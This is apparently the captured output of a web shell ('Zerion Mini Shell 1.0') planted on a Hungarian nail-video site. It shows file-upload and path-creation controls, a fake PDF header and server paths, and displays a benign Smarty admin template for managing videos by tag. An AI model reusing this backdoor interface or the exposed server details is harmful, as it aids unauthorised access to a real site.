%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/ua.nails.tv/smarty/templates_old/admin/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/ua.nails.tv/smarty/templates_old/admin/cimkek_video.tpl.html

{* Smarty *}

{literal}
<script type="text/javascript">
$(document).ready(function() {
    $("a.iframe").fancybox({
        'zoomSpeedIn': 300,
        'zoomSpeedOut': 300,
        'overlayShow': true,
        'overlayOpacity': 0.7,
        'overlayColor': '#a4a4a4',
        'hideOnContentClick': false,
        'width': 640,
        'height': 480
    });
});
</script>
{/literal}

<h1>Címkék szerinti bontás</h1>

{if isset($smarty.get.add)}

{else}

<div class="keres">
<form id="keres" method="post" action="{$smarty.server.PHP_SELF}">
<fieldset>
<input type="hidden" name="keres" value="1" />

<p>
<label>Címkék:</label>
<select name="cimkek_id" class="select">
    <option value="0">válasszon...</option>
    {assign var="cimke_selected" value=$edit.cimkek_id}
    {html_options options=$cimkek selected=$smarty.session.cimke_keres_cimkek_id}
</select>
</p>

<p>
<label for="k">Címke kulcsszó</label>
<input id="k" name="k" type="text" class="text" value="{$smarty.session.cimke_keres_k|htmlspecialchars|stripslashes}" maxlength="250" />
</p>

</fieldset>
<fieldset class="submit">
<input type="submit" value="keresés" />
</fieldset>
</form>
</div>

{if count($videok)}
<form id="{$table}" method="post" action="{$smarty.server.PHP_SELF}">
<input type="hidden" value="1" name="cimkek" id="cimkek" />
<table cellspacing="0" cellpadding="5" width="100%" id="sortable" summary="Videók listája">
<col width="35" />
<col width="50" />
<col width="50" />
<col />
<col width="70" />
<col width="85" />
<col width="115" />
<col width="50" />
<col width="60" />
<col width="40" />
<col width="25" />
<tr class="nodrop nodrag">
	<th>Aktív</th>
    <th>Kiem.</th>
    <th>Ajánl.</th>
    <th>Cím</th>
    <th>Nézettség</th>
    <th>Konvetálás</th>
    <th>Kapcs. termékek</th>
    <th>Képek</th>
    <th></th>
    <th></th>
    <th><input type="checkbox" id="{$table}_checkall" onclick="javascript:changeAll('{$table}');" title="Mind kijelölés / Kijelölés törlése" /></th>
</tr>
{foreach from=$videok item=item name=videok}
<tr{if $smarty.foreach.videok.iteration % 2 == 1} class="paratlan"{/if} id="{$table}_{$item.id}">
	<td>
        <input type="checkbox" name="fooldalra[{$item.id}]" title="Aktív" onclick="ajax('_setaktiv.php', 'table=video&amp;id={$item.id}&amp;aktiv='+this.checked);"{if $item.aktiv == 't'} checked="checked"{/if} />
    </td>
	<td>
        <input type="checkbox" name="fooldalra[{$item.id}]" title="Kiemelt" onclick="ajax('_setkiemelt.php', 'table=video&amp;id={$item.id}&amp;kiemelt='+this.checked);"{if $item.kiemelt == 't'} checked="checked"{/if} />
    </td>
    <td>
        <input type="checkbox" name="fooldalra[{$item.id}]" title="Ajánlott" onclick="ajax('_setajanlott.php', 'table=video&amp;id={$item.id}&amp;ajanlott='+this.checked);"{if $item.ajanlott == 't'} checked="checked"{/if} />
    </td>
    <td><a class="iframe" href="video_player.php?id={$item.id}">{$item.cim}</a></td>
    <td>{$item.nezettseg} db</td>
    <td>{if $item.konvertalas == 'f'}<a href="konvertalas.php?id={$item.id}" title="konvertálás">konvertálás</a>{else}konvertálva{/if}</td>
    <td><a href="kapcs_termek.php?id={$item.id}" title="kapcsolódó termékek">kapcs. termékek</a></td>
    <td><a href="galeria_kepek_video.php?id={$item.id}&amp;tipus=video" title="képek">képek</a></td>
    <td><a href="video.php?add&amp;edit={$item.id}" title="módosítás">módosítás</a></td>
    <td><a href="video.php?delete={$item.id}" title="törlés" onclick="return window.confirm('Biztos törli?');">törlés</a></td>

	<td><input type="checkbox" name="torol[{$item.id}]" /></td>
</tr>
{/foreach}
<tr class="nodrop nodrag">
    <td colspan="11" class="right"><input type="submit" value="kijelöltek törlése" onclick="return window.confirm('Biztos törli az összes kijelölt elemet?');" /></td>
</tr>
</table>
</form>
{else}
<p>Nincs adat.</p>
{/if}

{/if}

Zerion Mini Shell 1.0